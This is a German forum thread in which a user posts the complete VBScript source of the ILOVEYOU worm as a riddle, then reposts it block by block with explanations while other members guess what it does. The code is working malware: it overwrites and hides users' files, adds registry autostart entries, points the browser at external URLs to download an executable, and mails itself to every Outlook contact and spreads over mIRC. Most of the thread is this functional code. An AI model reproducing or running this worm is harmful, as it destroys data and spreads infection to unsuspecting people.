Rätsel:

Alles über Kino, DVD/Video, Fernsehen, Bücher, Zeitschriften etc. hier rein

Moderatoren: ShAngO-Schamanen, DuSK-Orgas

Antworten
Benutzeravatar
GMJ
Administrator
Administrator
Beiträge: 8565
Registriert: Mo, 22. Sep 2003, 23:00
Wohnort: Krefeld
Kontaktdaten:

Rätsel:

Beitrag von GMJ »

Code: Alles auswählen

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0

REM we read in a copy of ourself, which we'll write into other files
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll

main()

sub main()
  On Error Resume Next
  dim wscr,rr
  set wscr=CreateObject("WScript.Shell")

  REM disable timeout
  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  end if

  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)

  REM copy ourself into the WINDOWS and WINDOWS\SYSTEM directories
  Set c = fso.GetFile(WScript.ScriptFullName)
  c.Copy(dirsystem&"\MSKernel32.vbs")
  c.Copy(dirwin&"\Win32DLL.vbs")
  c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

  REM here's where the fun stuff really happens:
  REM run at boot-time from the registry
  regruns()
  REM create .HTM page to cause the victim to run us that way
  html()
  REM email copies of ourself to victim's friends
  spreadtoemail()
  REM infect numerous files, so the victim will be sure to run us at
  REM some point.
  listadriv()
end sub

REM run at boot-time from the registry
sub regruns()
  On Error Resume Next
  Dim num,downread
  
  REM setup to run on boot
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
  
  REM where do we store downloaded files? (default to c:\)
  downread=""
  downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  if (downread="") then
  downread="c:\"
  end if
  
  REM Set the Explorer start page to any one of four places to get this
  REM additional binary.
  if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    end if
  end if
  
  REM If we have our binary, set it up to run at boot-time, and reset the
  REM Explorer start page.
  if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
  end if
end sub

REM infect numerous files, so the victim will be sure to run us at
REM some point.
sub listadriv
  On Error Resume Next
  Dim d,dc,s
  
  REM Go through all the drives we can find on the system, and infect
  REM selected files.
  Set dc = fso.Drives
  For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
      folderlist(d.path&"\")
    end if
  Next
  listadriv = s
end sub

sub infectfiles(folderspec)  
  On Error Resume Next
  dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  
  set f = fso.GetFolder(folderspec)
  set fc = f.Files

  REM here we're going to infect a number of files with certain
  REM extensions:
  for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)

    REM other VBScript files:
    if (ext="vbs") or (ext="vbe") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

    REM JavaScript? Others?
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

      REM rename the file to "basename.vbs"
      bname=fso.GetBaseName(f1.path)
      set cop=fso.GetFile(f1.path)
      cop.copy(folderspec&"\"&bname&".vbs")
      fso.DeleteFile(f1.path)

    REM Jpegs. People always send Jpegs as attachments.
    elseif(ext="jpg") or (ext="jpeg") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

      REM rename to filename.jpg.vbs
      set cop=fso.GetFile(f1.path)
      cop.copy(f1.path&".vbs")
      fso.DeleteFile(f1.path)

    REM mp3's. That should ensure great replication!
    elseif(ext="mp3") or (ext="mp2") then
      set mp3=fso.CreateTextFile(f1.path&".vbs")
      mp3.write vbscopy
      mp3.close

      REM turn on execute attribute? (Does Windows have such a thing?)
      set att=fso.GetFile(f1.path)
      att.attributes=att.attributes+2
    end if

    if (eq<>folderspec) then

      REM if we happen to find mIRC installed, let's arrange to send
      REM copies of ourself over IRC.
      if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
        set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
        scriptini.WriteLine "[script]"
        scriptini.WriteLine ";mIRC Script"
        scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
        scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
        scriptini.WriteLine ";"
        scriptini.WriteLine ";Khaled Mardam-Bey"
        scriptini.WriteLine ";http://www.mirc.com"
        scriptini.WriteLine ";"
        scriptini.WriteLine "n0=on 1:JOIN:#:{"
        scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
        scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
        scriptini.WriteLine "n3=}"
        scriptini.close
        eq=folderspec
      end if
    end if
  next  
end sub

sub folderlist(folderspec)  
  On Error Resume Next
  dim f,f1,sf
  set f = fso.GetFolder(folderspec)  
  set sf = f.SubFolders

  REM recurse through directories, infecting files.
  for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
  next  
end sub

sub regcreate(regkey,regvalue)
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey,regvalue
end sub

function regget(value)
  Set regedit = CreateObject("WScript.Shell")
  regget=regedit.RegRead(value)
end function

function fileexist(filespec)
  On Error Resume Next
  dim msg
    if (fso.FileExists(filespec)) Then
    msg = 0
  else
    msg = 1
  end if
  fileexist = msg
end function

function folderexist(folderspec)
  On Error Resume Next
  dim msg
  if (fso.GetFolderExists(folderspec)) then
    msg = 0
  else
    msg = 1
  end if
  fileexist = msg
end function

REM email copies of ourself to victim's friends
sub spreadtoemail()
  On Error Resume Next
  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

  set regedit=CreateObject("WScript.Shell")
  set out=WScript.CreateObject("Outlook.Application")
  set mapi=out.GetNameSpace("MAPI")

  for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)

    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
    if (regv="") then
      regv=1
    end if
  
    if (int(a.AddressEntries.Count)>int(regv)) then
      REM cycle through addresses in the address book, and send copies of
      REM ourself.
      for ctrentries=1 to a.AddressEntries.Count
        malead=a.AddressEntries(x)
        regad=""
        regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
        if (regad="") then
          set male=out.CreateItem(0)
          male.Recipients.Add(malead)
          male.Subject = "ILOVEYOU"
          male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
          male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
          male.Send
          regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
        end if
        x=x+1
      next
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    else
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    end if
  next
  Set out=Nothing
  Set mapi=Nothing
end sub

REM This appears to create a .HTM file in the WINDOWS\SYSTEM directory,
REM which seems to start the whole process again, (assuming the victim
REM enables ActiveX so it can run.
sub html
  On Error Resume Next
  dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

  dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
  "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
  "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
  "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
  "<?-?BODY><?-?HTML>"&vbcrlf& _
  "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  "<!--?-??-?"&vbcrlf& _
  "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=1"&vbcrlf& _
  "code="

  dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
  "if (err.number=424) then"&vbcrlf& _
  "aw=0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"

  dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

  set fso=CreateObject("Scripting.FileSystemObject")
  set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  lines=Split(c.ReadAll,vbcrlf)
  l1=ubound(lines)

  for n=0 to ubound(lines)
    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=n) then
      lines(n)=chr(34)+lines(n)+chr(34)
    else
      lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
    end if
  next

  set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
  b.close
  set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
end sub
wer diesen Code kopiert, bei sich lokal speichert in einem vbs File und es ausführt: selbst schuld!!! ^^


Na wer weiß was das is? :>
Zuletzt geändert von GMJ am Do, 07. Apr 2005, 15:00, insgesamt 2-mal geändert.
In perfect moments I want to annihilate the guard and surrender...
Benutzeravatar
Sneedy
OVER 9000!!!
Beiträge: 11501
Registriert: Fr, 29. Aug 2003, 23:00
Wohnort: Hamburg
Kontaktdaten:

Beitrag von Sneedy »

ich wuerde sagen das Ding macht ne ganze Menge unangenehmes Zeug :P
"A reader lives a thousand lives before he dies," said Jojen. "The man who never reads lives only one."
- George R. R. Martin (AdwD - p.452)
Benutzeravatar
Hurricane
Godlike
Godlike
Beiträge: 3509
Registriert: Sa, 09. Aug 2003, 23:00
Wohnort: Neukeferloh

Beitrag von Hurricane »

hm hab zwar ned viel ahnung davon aber sieht nach nem wurm aus der
1. sich übers adressbuch/email verbreitet
2. die startseite des browser hijackt und einen exe downloaded (Trojaner ?!)
3. einige dateien durcheinander bringt...
4. eine hmtl datei generiert (ka mit was)
Benutzeravatar
GMJ
Administrator
Administrator
Beiträge: 8565
Registriert: Mo, 22. Sep 2003, 23:00
Wohnort: Krefeld
Kontaktdaten:

Beitrag von GMJ »

ja gut ich wills net zu spannend machen ;)

ich habe diese Code zufällig über google gefunden weil ich auf der Suche nach einer VB Referenz war.

Weitestgehend hat der Sys-Admin Kommentare eingefügt, die man am REM erkennt.

bei fast jedem Codeblock erkennt man so einen Kommentar, der auf Englisch beschreibt, was da gemacht wird.

es ist der berühmt berüchtigte I LOVE YOU-Wurm ;)
Zuletzt geändert von GMJ am Do, 07. Apr 2005, 15:59, insgesamt 1-mal geändert.
In perfect moments I want to annihilate the guard and surrender...
Benutzeravatar
GMJ
Administrator
Administrator
Beiträge: 8565
Registriert: Mo, 22. Sep 2003, 23:00
Wohnort: Krefeld
Kontaktdaten:

Beitrag von GMJ »

Code: Alles auswählen

Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Einlesen der Quelldatei und ablegen in neugenerierten Dateien

Code: Alles auswählen

  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  end if
Timeout vom WSH (=Windows Scripting Host) wird ausgeschaltet

Code: Alles auswählen

  Set c = fso.GetFile(WScript.ScriptFullName)
  c.Copy(dirsystem&"\MSKernel32.vbs")
  c.Copy(dirwin&"\Win32DLL.vbs")
  c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
zuvor erstellte Kopien in den WIndows und Windows\Systemordner kopieren

Code: Alles auswählen

  regruns()
  html()
  spreadtoemail()
  listadriv()
Methodenaufrufe: bei WinStart dieses Script ablaufen lassen
HTML Seite generieren
Emailsgenerieren
Eine Liste von definieren Dateiendungen mit einer Kopie infizieren

Code: Alles auswählen

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    end if
  end if
Das ist wohl der lustigste Part neben 2 anderen: Setzt Quellen der Binärdateien, die dieser Wurm braucht als IE-Startseite *G*

Code: Alles auswählen

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
  end if
end sub
Nachdem die Binärdatei vorhanden ist, Startseite wieder zurücksetzen ^^

Code: Alles auswählen

for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)

    REM other VBScript files:
    if (ext="vbs") or (ext="vbe") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

    REM JavaScript? Others?
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

      REM rename the file to "basename.vbs"
      bname=fso.GetBaseName(f1.path)
      set cop=fso.GetFile(f1.path)
      cop.copy(folderspec&"\"&bname&".vbs")
      fso.DeleteFile(f1.path)

    REM Jpegs. People always send Jpegs as attachments.
    elseif(ext="jpg") or (ext="jpeg") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

      REM rename to filename.jpg.vbs
      set cop=fso.GetFile(f1.path)
      cop.copy(f1.path&".vbs")
      fso.DeleteFile(f1.path)

    REM mp3's. That should ensure great replication!
    elseif(ext="mp3") or (ext="mp2") then
      set mp3=fso.CreateTextFile(f1.path&".vbs")
      mp3.write vbscopy
      mp3.close
Anlegen der Kopie mit verschiendenen Endungen, wie .jpg.vbs jpeg.vbs mp3.vbs usw

Code: Alles auswählen

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
        set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
        scriptini.WriteLine "[script]"
        scriptini.WriteLine ";mIRC Script"
        scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
        scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
        scriptini.WriteLine ";"
        scriptini.WriteLine ";Khaled Mardam-Bey"
        scriptini.WriteLine ";http://www.mirc.com"
        scriptini.WriteLine ";"
        scriptini.WriteLine "n0=on 1:JOIN:#:{"
        scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
        scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
        scriptini.WriteLine "n3=}"
        scriptini.close
        eq=folderspec
      end if
!!!Automatisches verschicken der generierten HTML-Seite per DCC im IRC an alle Nicks, die in den gejointen Channels vorhanden sind !!!

Code: Alles auswählen

sub spreadtoemail()
  On Error Resume Next
  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

  set regedit=CreateObject("WScript.Shell")
  set out=WScript.CreateObject("Outlook.Application")
  set mapi=out.GetNameSpace("MAPI")

  for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)

    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
    if (regv="") then
      regv=1
    end if
  
    if (int(a.AddressEntries.Count)>int(regv)) then
      REM cycle through addresses in the address book, and send copies of
      REM ourself.
      for ctrentries=1 to a.AddressEntries.Count
        malead=a.AddressEntries(x)
        regad=""
        regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
        if (regad="") then
          set male=out.CreateItem(0)
          male.Recipients.Add(malead)
          male.Subject = "ILOVEYOU"
          male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
          male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
          male.Send
          regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
        end if
        x=x+1
      next
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    else
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    end if
  next
  Set out=Nothing
  Set mapi=Nothing
end sub
Durchsuchen des WAB (=Windows Address Book) nach email-Adressen und verschicken von Emails mit dem Wurm als Anhang:
Betreff: ILOVEYOU
Text: kindly check the attached LOVELETTER coming from me.
Anhang: LOVE-LETTER-FOR-YOU.TXT.vbs

Code: Alles auswählen

sub html
  On Error Resume Next
  dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

  dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
  "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
  "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
  "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
  "<?-?BODY><?-?HTML>"&vbcrlf& _
  "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  "<!--?-??-?"&vbcrlf& _
  "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=1"&vbcrlf& _
  "code="

  dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
  "if (err.number=424) then"&vbcrlf& _
  "aw=0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"

  dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

  set fso=CreateObject("Scripting.FileSystemObject")
  set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  lines=Split(c.ReadAll,vbcrlf)
  l1=ubound(lines)

  for n=0 to ubound(lines)
    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=n) then
      lines(n)=chr(34)+lines(n)+chr(34)
    else
      lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
    end if
  next

  set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
  b.close
  set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
end sub
HTML-Seiten-Generierung, bei der dann kurz und knapp ein Active-X Element ausgeführt wird, und wer hätte es gedacht, es ist der Wurm ^^
In perfect moments I want to annihilate the guard and surrender...
Benutzeravatar
Hurricane
Godlike
Godlike
Beiträge: 3509
Registriert: Sa, 09. Aug 2003, 23:00
Wohnort: Neukeferloh

Beitrag von Hurricane »

wow war ich ja gar nicht mal so falsch ;D

aber was ich ned check..wieso schaltet der des Timeout vom Windows Scripting Host aus wenns eigentlich ein VB Script is ?!?
Benutzeravatar
Carnifex
Programmierguru
Programmierguru
Beiträge: 6796
Registriert: Sa, 05. Jul 2003, 23:00
Wohnort: dunkler Vorort von Passau

Beitrag von Carnifex »

VB stinkt :P
Benutzeravatar
Zar
Holy SHIT!
Holy SHIT!
Beiträge: 15345
Registriert: Mi, 09. Jul 2003, 23:00
Wohnort: Dublin / Irland

Beitrag von Zar »

als ich den thread angeschaut hab, hat AntiVir sofort ne viruswarnmeldung gebracht im temporary internet files ordner

:ugly:
Vor mir die Sintflut.
Benutzeravatar
GMJ
Administrator
Administrator
Beiträge: 8565
Registriert: Mo, 22. Sep 2003, 23:00
Wohnort: Krefeld
Kontaktdaten:

Beitrag von GMJ »

Hurricane hat geschrieben:wow war ich ja gar nicht mal so falsch ;D

aber was ich ned check..wieso schaltet der des Timeout vom Windows Scripting Host aus wenns eigentlich ein VB Script is ?!?
also mit sicherheit kann ichs nicht sagen, aber es könnte an den WScript-Objekten liegen. Warum genau man da jetzt den Timeout runtersetzt kA. ;-)
Zar hat geschrieben:als ich den thread angeschaut hab, hat AntiVir sofort ne viruswarnmeldung gebracht im temporary internet files ordner

:ugly:
:-> Hatte mein Arbeitskollege bei dem Link gestern auch, obwohls nur ne xyz.txt.code Seite war ^^
In perfect moments I want to annihilate the guard and surrender...
Antworten